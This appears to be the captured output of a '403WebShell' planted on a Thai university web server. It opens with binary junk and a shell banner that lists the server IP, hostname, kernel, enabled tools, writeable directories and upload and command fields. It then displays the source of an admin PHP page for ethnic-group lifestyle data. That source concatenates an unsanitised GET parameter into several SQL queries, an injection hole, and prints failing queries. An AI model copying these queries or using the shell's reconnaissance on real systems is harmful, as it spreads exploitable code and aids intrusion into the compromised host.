h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/trr/sample/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/trr/sample/lifestyle_detail.php
<?php include 'check_mode_admin.php';?>
<?php include 'admin_dbconnect.php';?>
<?php include 'header.php';?>
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">ข้อมูลวิถีชีวิต</h1>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->
            <div class="row">
              <div class="col-lg-12">
                <p>
  <?php
	$lifestyle_ethieGroup_id=$_GET['lifestyle_ethieGroup_id'];
	//$strSQL = "SELECT * FROM person where person_id=" . $person_id ;
		$strSQL = "SELECT lifestyle.*, ref_lifestyletype_main.ref_lifestyleTypemain_name FROM (lifestyle INNER JOIN ref_lifestyletype_main ON lifestyle.ref_lifestyleTypeMain_id = ref_lifestyletype_main.ref_lifestyleTypemain_id) WHERE lifestyle_ethieGroup_id=" . $lifestyle_ethieGroup_id . " ORDER BY lifestyle.lifestyle_ethieGroup_id DESC";
	$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");	
	if($objResult = mysql_fetch_array($objQuery))
	{
?>			
  <img src="<?php echo $lifestyle_image_path . $objResult["lifestyle_photo"];?>" height="300"></p>
                <p>

                </p>
                <table class="table table-striped table-bordered table-hover">
  <tr>
    <td>ประเภท</td>
    <td><?php echo $objResult["ref_lifestyleTypemain_name"];?></td>
  </tr>
  <tr>
    <td>ชื่อกลุ่มชาติพันธุ์</td>
    <td><?php echo $objResult["lifestyle_ethicGroup_name"];?></td>
  </tr>
<?php
		$lifestyle_ethicGroup_name = $objResult["lifestyle_ethicGroup_name"];
?>
  <tr>
    <td>ชื่อเรียกตนเอง</td>
    <td><?php echo $objResult["lifestyle_selfCall"];?></td>
  </tr>
  <tr>
    <td>ชื่อที่ผู้อื่นเรียก</td>
    <td><?php echo $objResult["lifestyle_otherCall"];?></td>
  </tr>
  <tr>
    <td>ภาษาที่ใช้พูดและเขียน</td>
    <td><?php echo $objResult["lifestyle_languages"];?></td>
  </tr>    
  <tr>
    <td>มิติทางประวัติศาสตร์</td>
    <td><?php echo $objResult["lifestyle_historical"];?></td>
  </tr>  
  <tr>
    <td>บทนำ</td>
    <td><?php echo $objResult["lifestyle_intro"];?></td>
  </tr>    
  <tr>
    <td>ประวัติที่มา</td>
    <td><?php echo $objResult["lifestyle_history"];?></td>
  </tr>
  <tr>
    <td>วิถีชีวิต</td>
    <td><?php echo $objResult["lifestyle_humanLife"];?></td>
  </tr>    
  <tr>
    <td>ครอบครัวและระบบเครือญาติ</td>
    <td><?php echo $objResult["lifestyle_relative"];?></td>
  </tr> 
  <tr>
    <td>การนับญาติ/การเรียกชื่อ</td>
    <td><?php echo $objResult["lifestyle_relativName"];?></td>
  </tr>        
  <tr>
    <td>การแต่งกาย</td>
    <td><?php echo $objResult["lifestyle_costume"];?></td>
  </tr>  
  <tr>
    <td>บ้าน</td>
    <td><?php echo $objResult["lifestyle_houseStyle"];?></td>
  </tr>    
  <tr>
    <td>การเกิด</td>
    <td><?php echo $objResult["lifestyle_birth"];?></td>
  </tr>   
  <tr>
    <td>การแต่งงาน</td>
    <td><?php echo $objResult["lifestyle_marriage"];?></td>
  </tr>          
  <tr>
    <td>การขึ้นปีใหม่</td>
    <td><?php echo $objResult["lifestyle_newyear"];?></td>
  </tr>   
  <tr>
    <td>ประเพณีนอนหาด</td>
    <td><?php echo $objResult["lifestyle_beach_tradition"];?></td>
  </tr>  
  <tr>
    <td>lifestyle_religion_trust</td>
    <td><?php echo $objResult["lifestyle_religion_trust"];?></td>
  </tr>  
  <tr>
    <td>lifestyle_thaiGhost_tradition</td>
    <td><?php echo $objResult["lifestyle_thaiGhost_tradition"];?></td>
  </tr>
  <tr>
    <td>วิญญาณและสิ่งศักดิ์สิทธิ์</td>
    <td><?php echo $objResult["lifestyle_spirit_sacred"];?></td>
  </tr>
  <tr>
    <td>พิธีกรรมสำคัญ</td>
    <td><?php echo $objResult["lifestyle_rite"];?></td>
  </tr>
  <tr>
    <td>ดนตรีและศิลปะการแสดง</td>
    <td><?php echo $objResult["lifestyle_music_arts"];?></td>
  </tr>
  <tr>
    <td>เพลง</td>
    <td><?php echo $objResult["lifestyle_song"];?></td>
  </tr>    
  <tr>
    <td>ตำนาน</td>
    <td><?php echo $objResult["lifestyle_legend"];?></td>
  </tr>  
  <tr>
    <td>สถานกาณ์ปัจจุบัน</td>
    <td><?php echo $objResult["lifestyle_situation"];?></td>
  </tr>  
  <tr>
    <td>การเปลี่ยนแปลงและปัญหาที่ประสบอยู่</td>
    <td><?php echo $objResult["lifestyle_changes_problems"];?></td>
  </tr>  
  <tr>
    <td>การรวมกลุ่มและสร้างเครือข่าย</td>
    <td><?php echo $objResult["lifestyle_networking"];?></td>
  </tr>  
  <tr>
    <td>ref_lifestyle_pop_id</td>
    <td><?php echo $objResult["ref_lifestyle_pop_id"];?></td>
  </tr>  
  <tr>
    <td>ref_lifestyle_ref_id</td>
    <td><?php echo $objResult["ref_lifestyle_ref_id"];?></td>
  </tr>                               
</table>
<a href="lifestyle_edit.php?lifestyle_ethieGroup_id=<?php echo $objResult["lifestyle_ethieGroup_id"];?>"><button type="button" class="btn btn-success">แก้ไขข้อมูลนี้</button></a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="lifestyle_delete.php?lifestyle_ethieGroup_id=<?php echo $objResult["lifestyle_ethieGroup_id"];?>"><button type="button" class="btn btn-danger">ลบข้อมูลนี้</button></a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href='javascript:history.back(1);'><button type="button" class="btn btn-default">กลับหน้าที่แล้ว</button>
</a>
<p><a href='javascript:history.back(1);'>
  </a>    </p>
<p>&nbsp;</p>

<HR>
<h1>ประชากร&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="lifestyle_population_add.php?lifestyle_ethieGroup_id=<?php echo $lifestyle_ethieGroup_id;?>"><button type="button" class="btn btn-primary">เพิ่มประชากร</button></a></h1>
<?php
		$strSQL = "SELECT * FROM ref_lifestyletype_population WHERE lifestyle_ethicGroup_id =" . $lifestyle_ethieGroup_id;
		$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");	
		if($objResult = mysql_fetch_array($objQuery))
		{
?>
<table border="1" cellspacing="5" cellpadding="5">
  <tr>
    <td bgcolor="#CCCCCC">id</td>
    <td bgcolor="#CCCCCC">ชื่อกลุ่มชาติพันธุ์</td>
	<td bgcolor="#CCCCCC">จังหวัด</td>
	<td bgcolor="#CCCCCC">อำเภอ</td>
	<td bgcolor="#CCCCCC">ตำบล</td>
	<td bgcolor="#CCCCCC">หมู่บ้าน</td>
	<td bgcolor="#CCCCCC">จำนวนครัวเรือน</td>
	<td bgcolor="#CCCCCC">จำนวนประชากร</td>
	<td bgcolor="#CCCCCC">ได้สัญชาติ</td>
	<td bgcolor="#CCCCCC">ไม่ได้สัญชาติ</td>
	<td bgcolor="#CCCCCC">ละติจูด</td>
	<td bgcolor="#CCCCCC">ลองจิจูด</td>
	<td bgcolor="#CCCCCC">ลิงค์</td>
	<td bgcolor="#CCCCCC">&nbsp;</td>
  </tr>
<?php	
			while ($objResult)
			{
?>
  <tr>
    <td><?php echo $objResult["ref_lifestyletype_pop_id"];?></td>
    <td><?php echo $lifestyle_ethicGroup_name;?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_province"];?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_district"];?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_subDistrict"];?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_village"];?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_householdNum"];?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_num"];?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_nationallity"];?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_Notnationallity"];?></td>
	<td><?php echo $objResult["latitude"];?></td>
	<td><?php echo $objResult["longitude"];?></td>
	<td><?php echo $objResult["ref_lifestyletype_pop_link"];?></td>
	<td><a href="lifestyle_population_edit.php?ref_lifestyletype_pop_id=<?php echo $objResult["ref_lifestyletype_pop_id"];?>" class="fa fa-edit" title="แก้ไข">แก้ไข</a>&nbsp;&nbsp;<a href="lifestyle_population_delete.php?ref_lifestyletype_pop_id=<?php echo $objResult["ref_lifestyletype_pop_id"];?>&lifestyle_ethieGroup_id=<?php echo $lifestyle_ethieGroup_id;?>" class="glyphicon glyphicon-remove" title="ลบ">ลบ</a></td>
  </tr>
<?php	
				$objResult = mysql_fetch_array($objQuery);
			}
?>
</table>
<?php
		}
		else
		{
			echo "ไม่มีข้อมูล";
		}	

?>

<HR>
<h1>บรรณานุกรม&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="lifestyle_reference_add.php?lifestyle_ethieGroup_id=<?php echo $lifestyle_ethieGroup_id;?>"><button type="button" class="btn btn-primary">เพิ่มบรรณานุกรม</button></a></h1>
<?php
		$strSQL = "SELECT * FROM ref_lifestyletype_referenees WHERE lifestyle_ethicGroup_id =" . $lifestyle_ethieGroup_id;
		$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");	
		if($objResult = mysql_fetch_array($objQuery))
		{
?>
<table border="1" cellspacing="5" cellpadding="5">
  <tr>
    <td bgcolor="#CCCCCC">id</td>
    <td bgcolor="#CCCCCC">ข้อมูลบรรณานุกรม</td>
	<td bgcolor="#CCCCCC">&nbsp;</td>
  </tr>
<?php	
			while ($objResult)
			{
?>
  <tr>
    <td><?php echo $objResult["ref_lifestyletype_ref_id"];?></td>
    <td><?php echo $objResult["ref_lifestyle_ref_name"];?></td>
	<td><a href="lifestyle_reference_edit.php?ref_lifestyletype_ref_id=<?php echo $objResult["ref_lifestyletype_ref_id"];?>" class="fa fa-edit" title="แก้ไข">แก้ไข</a>&nbsp;&nbsp;<a href="lifestyle_reference_delete.php?ref_lifestyletype_ref_id=<?php echo $objResult["ref_lifestyletype_ref_id"];?>&lifestyle_ethieGroup_id=<?php echo $lifestyle_ethieGroup_id;?>" class="glyphicon glyphicon-remove" title="ลบ">ลบ</a></td>
  </tr>
<?php	
				$objResult = mysql_fetch_array($objQuery);
			}
?>
</table>
<?php
		}
		else
		{
			echo "ไม่มีข้อมูลบรรณานุกรม";
		}	

?>
<p>
  <?php
	}
	else
	{
		echo "ไม่พบข้อมูล";
	}
?>
</p>
<p>&nbsp; </p>
              </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->

<?php include 'sidebar.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit